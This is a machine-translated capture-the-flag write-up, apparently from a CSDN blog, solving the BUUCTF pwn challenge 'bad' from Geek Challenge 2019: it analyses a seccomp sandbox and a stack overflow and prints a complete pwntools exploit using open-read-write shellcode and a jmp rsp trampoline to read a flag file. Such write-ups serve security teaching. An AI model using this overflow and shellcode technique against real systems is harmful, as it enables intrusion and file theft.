[BUUCTF] PWN —— [Geek Challenge 2019] No está mal (orw_shellcode)

[Desafío Geek 2019] Nada mal

anexo

paso

  1. Inspección de rutina, programa de 64 bits, inútil para activar ninguna protección
    Inserte la descripción de la imagen aquí

  2. Realice una prueba local para ver la situación general. Según las indicaciones del programa, es un código de shell simple. Según la experiencia, definitivamente no es simple.
    Inserte la descripción de la imagen aquí

  3. Carga ida de 64 bits. Introducción de
    Inserte la descripción de la imagen aquí
    Baidu sobre la función mmap .
    Cambie la dirección a partir de 0x123000, el tamaño es 0x1000 de longitud y el permiso se cambió a editable y ejecutable
    sub_400949 (), filtrado de espacio aislado
    Inserte la descripción de la imagen aquí
    Use para seccomp-tools dump ./badver qué funciones se pueden usar , y
    Inserte la descripción de la imagen aquí
    solo se encuentra lectura. Se puede usar escribir, abrir, salir. Se estima que esta pregunta debería obtenerse usando open-->read-->writeun método orw para obtener el indicador
    sub_400906 ()
    Inserte la descripción de la imagen aquí
    sub_400A16 (), que es una vulnerabilidad de desbordamiento obvia
    Inserte la descripción de la imagen aquí

  4. La idea de esta pregunta es muy simple, escriba orw tipo shellcode y luego salte para ejecutar, el tamaño de buf es solo 0x20, no parece suficiente para nosotros escribir una cadena de ataque rop completa, al comienzo del programa , abrimos el espacio ejecutable 0x100, planeo escribir el código de shell aquí y luego usar el desbordamiento de buf para saltar y ejecutar nuestro código de shell

  5. Primero escribe el shellcode de orw

mmap=0x123000
orw_payload=shellcraft.open('./flag')           #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50)       #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50)      #将mmap地址上的内容输出0x50个字节

Para conocer los detalles del descriptor de archivo fd, consulte este artículo , déjeme hablar brevemente sobre él aquí.
El fd en lectura escribe 3 porque el descriptor de archivo comienza desde 3 cuando se ejecuta el programa, y ​​el 1 en escritura es salida estándar a la pantalla Estos puntos de conocimiento están en el enlace que di.

  1. A continuación, escriba sobre la cadena de ataque rop en
    buf. La tarea de la cadena de ataque rop en buf es escribir orw_payload en mmap, dejar que el programa salte a mmap para ejecutar orw_payload y comenzar a escribir la cadena de ataque rop después de determinar el propósito.
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行

De esta forma, el rop en buf logra el propósito que queremos. A continuación, encontraremos una forma de ejecutar el contenido en buf. Se
encuentra que el programa tiene jmp rsp, el cual se puede usar para saltar a buf para su ejecución. La dirección buf es rsp-0x30.
sub rsp, 0x30; jmp rsp tiene menos de 8 bytes para cumplir con los requisitos. Inserte la descripción de la imagen aquí
La cadena de ataque rop completa en buf

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)

De esta manera, también se construye el rop en buf, y el resto se puede leer pasando orw_payload

Exp completa

from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113389703
Recomendado
Clasificación